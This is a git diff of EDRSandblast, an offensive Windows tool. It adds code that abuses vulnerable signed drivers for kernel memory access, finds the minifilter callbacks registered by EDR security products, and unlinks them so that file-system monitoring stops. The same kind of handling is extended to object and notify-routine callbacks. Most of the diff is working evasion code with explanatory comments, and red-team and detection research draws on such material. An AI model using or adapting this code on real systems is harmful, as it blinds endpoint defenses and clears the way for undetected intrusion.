diff --git a/EDRSandblast/Drivers/DriverRTCore.c b/EDRSandblast/Drivers/DriverRTCore.c
index e3fbd76..1253739 100644
--- a/EDRSandblast/Drivers/DriverRTCore.c
+++ b/EDRSandblast/Drivers/DriverRTCore.c
@@ -108,7 +108,7 @@ VOID ReadMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer) {
}
/*
-* RTCore driver allows to write 1, 2 or 4 bytes at a type
+* RTCore driver allows to write 1, 2 or 4 bytes at a time
*/
VOID WriteMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer) {
while (Size) {
diff --git a/EDRSandblast/EDRSandblast.vcxproj b/EDRSandblast/EDRSandblast.vcxproj
index 8f6b2e8..a9ca8f9 100644
--- a/EDRSandblast/EDRSandblast.vcxproj
+++ b/EDRSandblast/EDRSandblast.vcxproj
@@ -171,11 +171,13 @@
+
+
@@ -209,7 +211,9 @@
+
+
diff --git a/EDRSandblast/EDRSandblast.vcxproj.filters b/EDRSandblast/EDRSandblast.vcxproj.filters
index ad5b31d..2734f4c 100644
--- a/EDRSandblast/EDRSandblast.vcxproj.filters
+++ b/EDRSandblast/EDRSandblast.vcxproj.filters
@@ -129,6 +129,12 @@
Source Files
+
+ Source Files
+
+
+ Source Files
+
@@ -254,6 +260,12 @@
Header Files
+
+ Header Files
+
+
+ Header Files
+
diff --git a/EDRSandblast/Includes/FltmgrOffsets.h b/EDRSandblast/Includes/FltmgrOffsets.h
new file mode 100644
index 0000000..334ba6e
--- /dev/null
+++ b/EDRSandblast/Includes/FltmgrOffsets.h
@@ -0,0 +1,50 @@
+#pragma once
+#include
+
+
+enum FltmgrOffsetType {
+ FltGlobals = 0,
+ _GLOBALS_FrameList,
+ _FLT_RESOURCE_LIST_HEAD_rList,
+ _FLTP_FRAME_Links,
+ _FLTP_FRAME_RegisteredFilters,
+ _FLT_OBJECT_PrimaryLink,
+ _FLT_FILTER_DriverObject,
+ _FLT_FILTER_InstanceList,
+ _DRIVER_OBJECT_DriverInit,
+ _FLT_INSTANCE_CallbackNodes,
+ _FLT_INSTANCE_FilterLink,
+ _SUPPORTED_FLTMGR_OFFSETS_END
+};
+
+union FltmgrOffsets {
+ // structure version of fltmgr.sys's offsets
+ struct {
+ DWORD64 FltGlobals;
+ DWORD64 _GLOBALS_FrameList;
+ DWORD64 _FLT_RESOURCE_LIST_HEAD_rList;
+ DWORD64 _FLTP_FRAME_Links;
+ DWORD64 _FLTP_FRAME_RegisteredFilters;
+ DWORD64 _FLT_OBJECT_PrimaryLink;
+ DWORD64 _FLT_FILTER_DriverObject;
+ DWORD64 _FLT_FILTER_InstanceList;
+ DWORD64 _DRIVER_OBJECT_DriverInit;
+ DWORD64 _FLT_INSTANCE_CallbackNodes;
+ DWORD64 _FLT_INSTANCE_FilterLink;
+ } st;
+
+ // array version (usefull for code factoring)
+ DWORD64 ar[_SUPPORTED_FLTMGR_OFFSETS_END];
+};
+
+union FltmgrOffsets g_fltmgrOffsets;
+
+BOOL LoadFltmgrOffsets(_In_opt_ TCHAR* fltmgrOffsetFilename, BOOL canUseInternet);
+
+BOOL LoadFltmgrOffsetsFromFile(TCHAR* fltmgrOffsetFilename);
+void SaveFltmgrOffsetsToFile(TCHAR* fltmgrOffsetFilename);
+
+BOOL LoadFltmgrOffsetsFromInternet(BOOL delete_pdb);
+
+LPTSTR GetFltmgrPath();
+LPTSTR GetFltmgrVersion();
\ No newline at end of file
diff --git a/EDRSandblast/Includes/KernelCallbacks.h b/EDRSandblast/Includes/KernelCallbacks.h
index eabeb52..eb414de 100644
--- a/EDRSandblast/Includes/KernelCallbacks.h
+++ b/EDRSandblast/Includes/KernelCallbacks.h
@@ -19,32 +19,37 @@
//TODO : split notify routines & object callbacks in different files, but keep this base to implement more kernel callbacks types (CMRegisterCallbacks, etc)
enum kernel_callback_type_e {
- NOTIFY_ROUTINE_CB,
- OBJECT_CALLBACK
+ NOTIFY_ROUTINE_CB,
+ OBJECT_CALLBACK,
+ MINIFILTER_CALLBACK,
};
struct KRNL_CALLBACK {
- enum kernel_callback_type_e type;
- TCHAR const* driver_name;
- union callback_addr_e {
- struct notify_routine_t {
- DWORD64 callback_struct_addr;
- DWORD64 callback_struct;
- enum NtoskrnlOffsetType type; //TODO : decorrelate indices in CSV from notify routine types
- } notify_routine;
- struct object_callback_t {
- DWORD64 enable_addr;
- } object_callback;
- } addresses;
- DWORD64 callback_func;
- BOOL removed;
+ enum kernel_callback_type_e type;
+ TCHAR const* driver_name;
+ union callback_addr_e {
+ struct notify_routine_t {
+ DWORD64 callback_struct_addr;
+ DWORD64 callback_struct;
+ enum NtoskrnlOffsetType type; //TODO : decorrelate indices in CSV from notify routine types
+ } notify_routine;
+ struct object_callback_t {
+ DWORD64 enable_addr;
+ } object_callback;
+ struct minifilter_callback_t {
+ DWORD64 callback_node;
+ } minifilter_callback;
+ } addresses;
+ DWORD64 callback_func; //TODO: reorganize this struct since object callbacks and minifilter callbacks have preoperations and postoperations
+ BOOL removed;
};
struct FOUND_EDR_CALLBACKS {
- DWORD64 index;
- struct KRNL_CALLBACK EDR_CALLBACKS[256];
+ SIZE_T size;
+ SIZE_T max_size;
+ struct KRNL_CALLBACK* EDR_CALLBACKS;
};
-
+VOID AddFoundKernelCallback(struct FOUND_EDR_CALLBACKS* foundCallbacks, struct KRNL_CALLBACK* newCallback);
BOOL isDriverEDR(TCHAR* driver);
void RestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers);
diff --git a/EDRSandblast/Includes/KernelMemoryPrimitives.h b/EDRSandblast/Includes/KernelMemoryPrimitives.h
index 866520e..8f86839 100644
--- a/EDRSandblast/Includes/KernelMemoryPrimitives.h
+++ b/EDRSandblast/Includes/KernelMemoryPrimitives.h
@@ -6,23 +6,28 @@
#define DBUtil 1
#define GDRV 2
// Select the driver to use with the following #define
-#define VULN_DRIVER RTCore
+#define VULN_DRIVER GDRV
+//TODO : design a way to make an atomic write given a non-atomic one
+//idea : modify a PTE to mark a page userland-reachable and perform the write from the process
#if VULN_DRIVER == RTCore
#define DEFAULT_DRIVER_FILE TEXT("RTCore64.sys")
#define CloseDriverHandle CloseDriverHandle_RTCore
#define ReadMemoryPrimitive ReadMemoryPrimitive_RTCore
#define WriteMemoryPrimitive WriteMemoryPrimitive_RTCore
+#define WriteMemoryPrimitiveIsAtomic 0 //RTCore only allows to write up to a DWORD at a time
#elif VULN_DRIVER == DBUtil
#define DEFAULT_DRIVER_FILE TEXT("DBUtil_2_3.sys")
#define CloseDriverHandle CloseDriverHandle_DBUtil
#define ReadMemoryPrimitive ReadMemoryPrimitive_DBUtil
#define WriteMemoryPrimitive WriteMemoryPrimitive_DBUtil
+#define WriteMemoryPrimitiveIsAtomic 1 //DBUtil allows to write an arbitrary size
#elif VULN_DRIVER == GDRV
#define DEFAULT_DRIVER_FILE TEXT("gdrv.sys")
#define CloseDriverHandle CloseDriverHandle_GDRV
#define ReadMemoryPrimitive ReadMemoryPrimitive_GDRV
#define WriteMemoryPrimitive WriteMemoryPrimitive_GDRV
+#define WriteMemoryPrimitiveIsAtomic 1 //DBUtil allows to write an arbitrary size
#endif
BYTE ReadMemoryBYTE(DWORD64 Address);
diff --git a/EDRSandblast/Includes/MinifilterCallbacks.h b/EDRSandblast/Includes/MinifilterCallbacks.h
new file mode 100644
index 0000000..d34a6d6
--- /dev/null
+++ b/EDRSandblast/Includes/MinifilterCallbacks.h
@@ -0,0 +1,9 @@
+#pragma once
+#include
+#include "KernelCallbacks.h"
+
+BOOL EnumEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* foundEDRCallbacks, BOOL verbose);
+#if WriteMemoryPrimitiveIsAtomic
+void RemoveEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks);
+BOOL RestoreEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks);
+#endif
\ No newline at end of file
diff --git a/EDRSandblast/Includes/WdigestOffsets.h b/EDRSandblast/Includes/WdigestOffsets.h
index b31e72c..f7f7efa 100644
--- a/EDRSandblast/Includes/WdigestOffsets.h
+++ b/EDRSandblast/Includes/WdigestOffsets.h
@@ -12,27 +12,28 @@
enum WdigestOffsetType {
- g_fParameter_UseLogonCredential = 0,
- g_IsCredGuardEnabled = 1,
- _SUPPORTED_WDIGEST_OFFSETS_END
+ g_fParameter_UseLogonCredential = 0,
+ g_IsCredGuardEnabled = 1,
+ _SUPPORTED_WDIGEST_OFFSETS_END
};
union WdigestOffsets {
- // structure version of wdigest.dll's offsets
- struct {
- // wdigest.dll's g_fParameter_UseLogonCredential
- DWORD64 g_fParameter_UseLogonCredential;
- // wdigest.dll's g_IsCredGuardEnabled
- DWORD64 g_IsCredGuardEnabled;
- } st;
+ // structure version of wdigest.dll's offsets
+ struct {
+ // wdigest.dll's g_fParameter_UseLogonCredential
+ DWORD64 g_fParameter_UseLogonCredential;
+ // wdigest.dll's g_IsCredGuardEnabled
+ DWORD64 g_IsCredGuardEnabled;
+ } st;
- // array version (usefull for code factoring)
- DWORD64 ar[_SUPPORTED_WDIGEST_OFFSETS_END];
+ // array version (usefull for code factoring)
+ DWORD64 ar[_SUPPORTED_WDIGEST_OFFSETS_END];
};
union WdigestOffsets g_wdigestOffsets;
-// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
+// TODO : create a LoadWdigestOffsets function like LoadCiOffsets
+// TODO2 : find a way to factorize all the copy-pasted code between Ci/Ntoskrnl/Wdigest/FltmgrOffsets
void LoadWdigestOffsetsFromFile(TCHAR* wdigestOffsetFilename);
void SaveWdigestOffsetsToFile(TCHAR* wdigestOffsetFilename);
diff --git a/EDRSandblast/KernellandBypass/KernelCallbacks.c b/EDRSandblast/KernellandBypass/KernelCallbacks.c
index c7ce876..2e5f7ee 100644
--- a/EDRSandblast/KernellandBypass/KernelCallbacks.c
+++ b/EDRSandblast/KernellandBypass/KernelCallbacks.c
@@ -25,8 +25,8 @@ DWORD64 GetNotifyRoutineAddress(enum NtoskrnlOffsetType nrt);
BOOL EnumEDRSpecificNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutineType, struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL verbose) {
DWORD64 NotifyRoutineAddress = GetNotifyRoutineAddress(notifyRoutineType);
- _tprintf_or_not(TEXT("[+] [NotifyRountines]\tEnumerating %s callbacks\n"), notifyRoutineTypeStrs[notifyRoutineType]);
- if (verbose) { _tprintf_or_not(TEXT("[+] [NotifyRountines]\tPsp%sNotifyRoutine: 0x%I64x\n"), notifyRoutineTypeNames[notifyRoutineType], NotifyRoutineAddress); }
+ _tprintf_or_not(TEXT("[+] [NotifyRoutines]\tEnumerating %s callbacks\n"), notifyRoutineTypeStrs[notifyRoutineType]);
+ if (verbose) { _tprintf_or_not(TEXT("[+] [NotifyRoutines]\tPsp%sNotifyRoutine: 0x%I64x\n"), notifyRoutineTypeNames[notifyRoutineType], NotifyRoutineAddress); }
SIZE_T CurrentEDRCallbacksCount = 0;
for (int i = 0; i < PSP_MAX_CALLBACKS; ++i) {
@@ -36,7 +36,7 @@ BOOL EnumEDRSpecificNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutine
DWORD64 cbFunction = ReadMemoryDWORD64(callback);
DWORD64 driverOffset;
TCHAR* driver = FindDriverName(cbFunction, &driverOffset);
- _tprintf_or_not(TEXT("[+] [NotifyRountines]\t\t%016llx [%s + 0x%llx]\n"), cbFunction, driver, driverOffset);
+ _tprintf_or_not(TEXT("[+] [NotifyRoutines]\t\t%016llx [%s + 0x%llx]\n"), cbFunction, driver, driverOffset);
if (driver && isDriverNameMatchingEDR(driver)) { //TODO : also use certificates to determine if EDR
DWORD64 callback_addr = NotifyRoutineAddress + (i * sizeof(DWORD64));
@@ -49,7 +49,7 @@ BOOL EnumEDRSpecificNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutine
newFoundDriver.addresses.notify_routine.type = notifyRoutineType;
newFoundDriver.callback_func = cbFunction;
- _tprintf_or_not(TEXT("[+] [NotifyRountines]\t\tFound callback belonging to EDR driver %s"), driver);
+ _tprintf_or_not(TEXT("[+] [NotifyRoutines]\t\tFound callback belonging to EDR driver %s"), driver);
if (verbose) {
_tprintf_or_not(TEXT(" [callback addr : 0x%I64x | callback struct : 0x%I64x | callback function : 0x%I64x]\n"), callback_addr, callback_struct, cbFunction);
}
@@ -58,32 +58,31 @@ BOOL EnumEDRSpecificNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutine
}
newFoundDriver.removed = FALSE;
- edrCallbacks->EDR_CALLBACKS[edrCallbacks->index] = newFoundDriver;
- edrCallbacks->index++;
+ AddFoundKernelCallback(edrCallbacks, &newFoundDriver);
CurrentEDRCallbacksCount++;
}
}
}
if (CurrentEDRCallbacksCount == 0) {
- _putts_or_not(TEXT("[+] [NotifyRountines]\tNo EDR driver(s) found!"));
+ _putts_or_not(TEXT("[+] [NotifyRoutines]\tNo EDR driver(s) found!"));
}
else {
- _tprintf_or_not(TEXT("[+] [NotifyRountines]\tFound a total of %llu EDR / security products driver(s)\n"), CurrentEDRCallbacksCount);
+ _tprintf_or_not(TEXT("[+] [NotifyRoutines]\tFound a total of %llu EDR / security products driver(s)\n"), CurrentEDRCallbacksCount);
}
return CurrentEDRCallbacksCount > 0;
}
void RemoveOrRestoreSpecificEDRNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutineType, struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL remove) {
TCHAR* action = remove ? TEXT("Removing") : TEXT("Restoring");
- _tprintf_or_not(TEXT("[+] [NotifyRountines]\t%s %s callbacks\n"), action, notifyRoutineTypeStrs[notifyRoutineType]);
+ _tprintf_or_not(TEXT("[+] [NotifyRoutines]\t%s %s callbacks\n"), action, notifyRoutineTypeStrs[notifyRoutineType]);
- for (DWORD i = 0; i < edrCallbacks->index; ++i) {
+ for (DWORD i = 0; i < edrCallbacks->size; ++i) {
struct KRNL_CALLBACK* cb = &edrCallbacks->EDR_CALLBACKS[i];
if (cb->type == NOTIFY_ROUTINE_CB &&
cb->addresses.notify_routine.type == notifyRoutineType &&
cb->removed == !remove) {
- _tprintf_or_not(TEXT("[+] [NotifyRountines]\t%s callback of EDR driver \"%s\" [callback addr: 0x%I64x | callback struct: 0x%I64x | callback function: 0x%I64x]\n"),
+ _tprintf_or_not(TEXT("[+] [NotifyRoutines]\t%s callback of EDR driver \"%s\" [callback addr: 0x%I64x | callback struct: 0x%I64x | callback function: 0x%I64x]\n"),
action,
cb->driver_name,
cb->addresses.notify_routine.callback_struct_addr,
@@ -138,3 +137,18 @@ void RemoveEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
void RestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
RemoveOrRestoreEDRNotifyRoutineCallbacks(edrCallbacks, FALSE);
}
+
+//TODO : put "kernel notify routines"-related functions in a KernelNotifyRoutines.c, and only left common "kernel callbacks"-related functions in KernelCallbacks.c
+VOID AddFoundKernelCallback(struct FOUND_EDR_CALLBACKS* foundCallbacks, struct KRNL_CALLBACK* newCallback) {
+ if (foundCallbacks->size == foundCallbacks->max_size) {
+ foundCallbacks->max_size = foundCallbacks->max_size * 2 + 1;
+ PVOID tmp = realloc(foundCallbacks->EDR_CALLBACKS, foundCallbacks->max_size * sizeof(struct KRNL_CALLBACK));
+ if (tmp == NULL) {
+ exit(1);
+ }
+ foundCallbacks->EDR_CALLBACKS = tmp;
+ }
+ foundCallbacks->EDR_CALLBACKS[foundCallbacks->size] = *newCallback;
+ foundCallbacks->size++;
+
+}
diff --git a/EDRSandblast/KernellandBypass/MinifilterCallbacks.c b/EDRSandblast/KernellandBypass/MinifilterCallbacks.c
new file mode 100644
index 0000000..4eb4453
--- /dev/null
+++ b/EDRSandblast/KernellandBypass/MinifilterCallbacks.c
@@ -0,0 +1,215 @@
+#include
+#include
+
+#ifdef _DEBUG
+#include
+#endif
+
+#include "FltmgrOffsets.h"
+#include "IsEDRChecks.h"
+#include "KernelMemoryPrimitives.h"
+#include "KernelUtils.h"
+#include "PrintFunctions.h"
+#include "PdbSymbols.h"
+#include "MinifilterCallbacks.h"
+
+
+/*
+This function browses the internal structures of the Filter Manager to enumerate callbacks registered
+by EDR products.
+
+To provide a quick context about the different internal structures:
+ - The Filter Manager establishes a "frame" (_FLTP_FRAME) as its root structure;
+ - A "volume" structure (_FLT_VOLUME) is instanciated for each "disk" managed by the Filter Manager (can be partitions,
+ shadow copies, or special ones corresponding to named pipes or remote file systems);
+ - To each registered minifilter driver corresponds a "filter" structure (_FLT_FILTER), describing various properties such
+ as its supported operations;
+ - These minifilters are not all attached to each volume; an "instance" (_FLT_INSTANCE) structure is created to mark each of the
+ filter<->volume association;
+ - Minifilters register callback functions that are executed before and/or after specific operation (file open, write, read, etc.).
+ These callbacks are described in _CALLBACK_NODE structures. An array of all _CALLBACK_NODE implemented by an instance of a
+ minifilter can be found in _FLT_INSTANCE; the array indexed by the IRP "major function" code, a constant representing the operation
+ affected by the callback (IRP_MJ_CREATE, IRP_MJ_READ, etc.).
+ Moreover, all _CALLBACK_NODEs implemented by instances linked to a specific volume are regrouped in linked lists, stored in the
+ _FLT_VOLUME.Callbacks.OperationLists array indexed by IRP major function codes.
+
+Upon a specific operation (for example, a file opening on C:), the appropriate _FLT_VOLUME is recovered from the _FLTP_FRAME structure
+(AttachedVolumes's list), the _FLT_VOLUME.Callbacks.OperationLists[irpMajorFunctionCode] list of _CALLBACK_NODE is browsed and callbacks
+functions are executed.
+
+In order to detect EDR-related callbacks, the following function:
+ - Enumerates the frames (_FLTP_FRAME) thanks to a list stored in a global variable of fltmgr.sys: ((_GLOBALS*)&FltGlobals)->FrameList.rList
+ - Enumerates the filters (_FLT_FILTER) of the frame: ((_FLTP_FRAME*)currentFrame)->RegisteredFilters.rList
+ - Checks if the driver implementing the filter is EDR-related (checks the name of the module where
+ (_FLT_FILTER*)currentFilter->DriverObject->DriverInit is implemented)
+ - If the driver is an EDR, enumerate all instances of the associated filter, by browsing ((_FLT_FILTER*)currentFilter)->InstanceList.rList
+ - For each instance, enumerate the CallbackNodes array, whose non-NULL entries directly point to _CALLBACK_NODEs in their respective
+ lists in _FLT_VOLUME.Callbacks.OperationLists
+*/
+BOOL EnumEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* foundEDRCallbacks, BOOL verbose) {
+ BOOL edrCallbacksWereFound = FALSE;
+
+ DWORD64 fltmgr_base = FindKernelModuleAddressByName(L"fltmgr.sys");
+ if (!fltmgr_base)
+ return -1;
+ if (verbose) {
+ _tprintf_or_not(TEXT("[*] [MinifilterCallbacks]\tfltmgr.sys : %016llx\n"), fltmgr_base);
+ _tprintf_or_not(TEXT("[*] [MinifilterCallbacks]\tFltGlobals : %016llx\n"), fltmgr_base
+ + g_fltmgrOffsets.st.FltGlobals);
+ _tprintf_or_not(TEXT("[*] [MinifilterCallbacks]\tFrameList : %016llx\n"), fltmgr_base
+ + g_fltmgrOffsets.st.FltGlobals
+ + g_fltmgrOffsets.st._GLOBALS_FrameList
+ + g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList);
+ }
+
+ _putts_or_not(TEXT("[*] [MinifilterCallbacks]\tEnumerating minifilters' frames, filters, instances and callback nodes:"));
+ DWORD64 frame_list_header = fltmgr_base
+ + g_fltmgrOffsets.st.FltGlobals
+ + g_fltmgrOffsets.st._GLOBALS_FrameList
+ + g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList;
+ for (DWORD64 current_frame_shifted = ReadMemoryDWORD64(frame_list_header);
+ current_frame_shifted != frame_list_header;
+ current_frame_shifted = ReadMemoryDWORD64(current_frame_shifted)
+ ) {
+ DWORD64 current_frame = current_frame_shifted - g_fltmgrOffsets.st._FLTP_FRAME_Links;
+ _tprintf_or_not(TEXT("[*] [MinifilterCallbacks]\t_FLTP_FRAME : %016llx:\n"), current_frame);
+
+ DWORD64 filter_list_header = current_frame + g_fltmgrOffsets.st._FLTP_FRAME_RegisteredFilters + g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList;
+ for (DWORD64 current_filter_shifted = ReadMemoryDWORD64(filter_list_header);
+ current_filter_shifted != filter_list_header;
+ current_filter_shifted = ReadMemoryDWORD64(current_filter_shifted)
+ ) {
+ DWORD64 current_filter = current_filter_shifted - g_fltmgrOffsets.st._FLT_OBJECT_PrimaryLink;
+
+
+ // check if current filter is EDR-related
+ DWORD64 driverObject = ReadMemoryDWORD64(current_filter + g_fltmgrOffsets.st._FLT_FILTER_DriverObject);
+ DWORD64 driverInit = ReadMemoryDWORD64(driverObject + g_fltmgrOffsets.st._DRIVER_OBJECT_DriverInit);
+ DWORD64 driverOffset;
+ TCHAR* driver = FindDriverName(driverInit, &driverOffset);
+ _tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t_FLT_FILTER %016llx (%s)\n"), current_filter, driver);
+
+ if (driver && isDriverNameMatchingEDR(driver)) {
+ _putts_or_not(TEXT("[+] [MinifilterCallbacks]\t\t\tEDR-related filter found! Enumerating callbacks from all instances:"));
+
+ DWORD64 instance_list_header = current_filter + g_fltmgrOffsets.st._FLT_FILTER_InstanceList + g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList;
+ for (DWORD64 current_instance_shifted = ReadMemoryDWORD64(instance_list_header);
+ current_instance_shifted != instance_list_header;
+ current_instance_shifted = ReadMemoryDWORD64(current_instance_shifted)
+ ) {
+ DWORD64 current_instance = current_instance_shifted - g_fltmgrOffsets.st._FLT_INSTANCE_FilterLink;
+ _tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t\t_FLT_INSTANCE %016llx: "), current_instance);
+
+ // for each CALLBACK_NODE in the array
+ DWORD64 CallbackNodesArray = current_instance + g_fltmgrOffsets.st._FLT_INSTANCE_CallbackNodes;
+ SIZE_T nbCallbackNodes = 0;
+ for (int j = 0; j < 50; j++)
+ {
+ DWORD64 CallbackNodePointer = ReadMemoryDWORD64(CallbackNodesArray + (j * sizeof(PVOID)));
+ // Register all callback nodes
+ if (CallbackNodePointer)
+ {
+ // Ugly hack: check if the node really is part of a linked list or have already been unlinked
+ // TODO: change the whole logic of this file and browse callback nodes directly from _FLT_VOLUME.Callbacks.OperationLists ?
+ DWORD64 prevNode = ReadMemoryDWORD64(CallbackNodePointer + offsetof(LIST_ENTRY, Blink));
+ DWORD64 prevNodeNext = ReadMemoryDWORD64(prevNode + offsetof(LIST_ENTRY, Flink));
+ DWORD64 nextNode = ReadMemoryDWORD64(CallbackNodePointer + offsetof(LIST_ENTRY, Flink));
+ DWORD64 nextNodePrev = ReadMemoryDWORD64(nextNode + offsetof(LIST_ENTRY, Blink));
+ if (prevNodeNext != CallbackNodePointer && nextNodePrev != CallbackNodePointer) {
+ continue;
+ }
+
+ struct KRNL_CALLBACK cb = {
+ .type = MINIFILTER_CALLBACK,
+ .addresses.minifilter_callback.callback_node = CallbackNodePointer,
+ .callback_func = 0, //TODO: complete with preoperation & postoperations func address for information
+ .driver_name = driver,
+ .removed = FALSE,
+ };
+ AddFoundKernelCallback(foundEDRCallbacks, &cb);
+ edrCallbacksWereFound = TRUE;
+ nbCallbackNodes++;
+ }
+ }
+ _tprintf_or_not(TEXT("%llu callback nodes found!\n"), nbCallbackNodes);
+ }
+ }
+ }
+ }
+
+ return edrCallbacksWereFound;
+}
+
+#if WriteMemoryPrimitiveIsAtomic
+/*
+When EDR-related _CALLBACK_NODEs have been identified thanks to the previous function, to disable the callbacks, these nodes are
+simply unlinked from their lists.
+That way, the filter manager will not see the callback nodes and never execute the associated pre/post-operations functions upon
+some specific I/O operation.
+
+Note: since we are modifying linked lists without holding any lock and while the operating system could browse the lists at the
+same time, we have to maintain at least some consistency during modification. The write primitive should be able to write a whole
+pointer (i.e. 8 bytes) in a single call, or else the overwritten pointer would have an incorrect value between 2 calls, and could
+lead to a crash if the operating system browses the list.
+*/
+void RemoveEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
+ _putts_or_not(TEXT("[+] [MinifilterCallbacks]\tRemoving previously identified callbacks nodes by unlinking them from their list"));
+ SIZE_T counter = 0;
+ for (struct KRNL_CALLBACK* ptr = edrCallbacks->EDR_CALLBACKS;
+ ptr < edrCallbacks->EDR_CALLBACKS + edrCallbacks->size;
+ ptr++
+ ) {
+ if (ptr->type == MINIFILTER_CALLBACK &&
+ ptr->removed == FALSE) {
+ DWORD64 callbackNodeAddress = ptr->addresses.minifilter_callback.callback_node;
+ DWORD64 prevNodeAddress = ReadMemoryDWORD64(callbackNodeAddress + offsetof(LIST_ENTRY, Blink));
+ DWORD64 nextNodeAddress = ReadMemoryDWORD64(callbackNodeAddress + offsetof(LIST_ENTRY, Flink));
+ WriteMemoryDWORD64(nextNodeAddress + offsetof(LIST_ENTRY, Blink), prevNodeAddress);
+ WriteMemoryDWORD64(prevNodeAddress + offsetof(LIST_ENTRY, Flink), nextNodeAddress);
+ ptr->removed = TRUE;
+ counter++;
+ }
+ }
+ _tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t%llu callback nodes were removed!\n"), counter);
+}
+
+
+/*
+To restore the callbacks, we rely on the fact that the LIST_ENTRY of the _CALLBACK_NODE still points to the original previous
+and next nodes in the list where is was unlinked from. We simply reinsert the nodes in the inverse order from which unlinked
+them to ensure the linked list consistency during the process.
+*/
+BOOL RestoreEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
+ BOOL success = TRUE;
+ _putts_or_not(TEXT("[+] [MinifilterCallbacks]\tRestoring unlinked callbacks node by re-inserting them in their original place"));
+ SIZE_T counter = 0;
+ // reinsert the nodes in the inverse order to avoid invalid states
+ for (struct KRNL_CALLBACK* ptr = edrCallbacks->EDR_CALLBACKS + edrCallbacks->size - 1;
+ edrCallbacks->EDR_CALLBACKS <= ptr;
+ ptr--
+ ) {
+ if (ptr->type == MINIFILTER_CALLBACK &&
+ ptr->removed == TRUE) {
+ DWORD64 callbackNodeAddress = ptr->addresses.minifilter_callback.callback_node;
+ DWORD64 prevNodeAddress = ReadMemoryDWORD64(callbackNodeAddress + offsetof(LIST_ENTRY, Blink));
+ DWORD64 nextNodeAddress = ReadMemoryDWORD64(callbackNodeAddress + offsetof(LIST_ENTRY, Flink));
+
+ // Checks that "previous" and "next" nodes are still next to each other in the list
+ DWORD64 prevNodeFlink = ReadMemoryDWORD64(prevNodeAddress + offsetof(LIST_ENTRY, Flink));
+ DWORD64 nextNodeBlink = ReadMemoryDWORD64(nextNodeAddress + offsetof(LIST_ENTRY, Blink));
+ if (prevNodeFlink != nextNodeAddress || nextNodeBlink != prevNodeAddress) {
+ _putts_or_not(TEXT("[-] [MinifilterCallbacks]\tWARNING: a callback node could not have been restored! Maybe the node list changed between node removal and node reinsertion?"));
+ success = FALSE;
+ continue;
+ }
+
+ WriteMemoryDWORD64(nextNodeAddress + offsetof(LIST_ENTRY, Blink), callbackNodeAddress);
+ WriteMemoryDWORD64(prevNodeAddress + offsetof(LIST_ENTRY, Flink), callbackNodeAddress);
+ ptr->removed = FALSE;
+ counter++;
+ }
+ }
+ _tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t%llu callback nodes were restored!\n"), counter);
+ return success;
+}
+#endif
\ No newline at end of file
diff --git a/EDRSandblast/KernellandBypass/ObjectCallbacks.c b/EDRSandblast/KernellandBypass/ObjectCallbacks.c
index 965fc79..2d9f9ae 100644
--- a/EDRSandblast/KernellandBypass/ObjectCallbacks.c
+++ b/EDRSandblast/KernellandBypass/ObjectCallbacks.c
@@ -192,10 +192,7 @@ BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundOb
for (DWORD64 cbEntry = ReadMemoryDWORD64(ObjectType_Callbacks_List);
cbEntry != ObjectType_Callbacks_List;
cbEntry = ReadMemoryDWORD64(cbEntry)) {
- if (FoundObjectCallbacks->index >= 256) {
- _putts_or_not(TEXT("[!] No more space to store object callbacks !!! This should not happen. Exiting..."));
- exit(1);
- }
+
DWORD64 ObjectTypeField = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_ObjectType);
if (ObjectTypeField != ObjectType) {
_putts_or_not(TEXT("Unexpected value in callback entry (ObjectTypeField), exiting..."));
@@ -233,13 +230,13 @@ BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundOb
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tCallback belongs to an EDR "));
if (Enabled) {
_putts_or_not(TEXT("and is enabled!"));
- struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index];
- cb->type = OBJECT_CALLBACK;
- cb->driver_name = driverNamePreOperation;
- cb->removed = FALSE;
- cb->callback_func = PreOperation;
- cb->addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled;
- FoundObjectCallbacks->index++;
+ struct KRNL_CALLBACK cb;
+ cb.type = OBJECT_CALLBACK;
+ cb.driver_name = driverNamePreOperation;
+ cb.removed = FALSE;
+ cb.callback_func = PreOperation;
+ cb.addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled;
+ AddFoundKernelCallback(FoundObjectCallbacks, &cb);
found |= TRUE;
}
else {
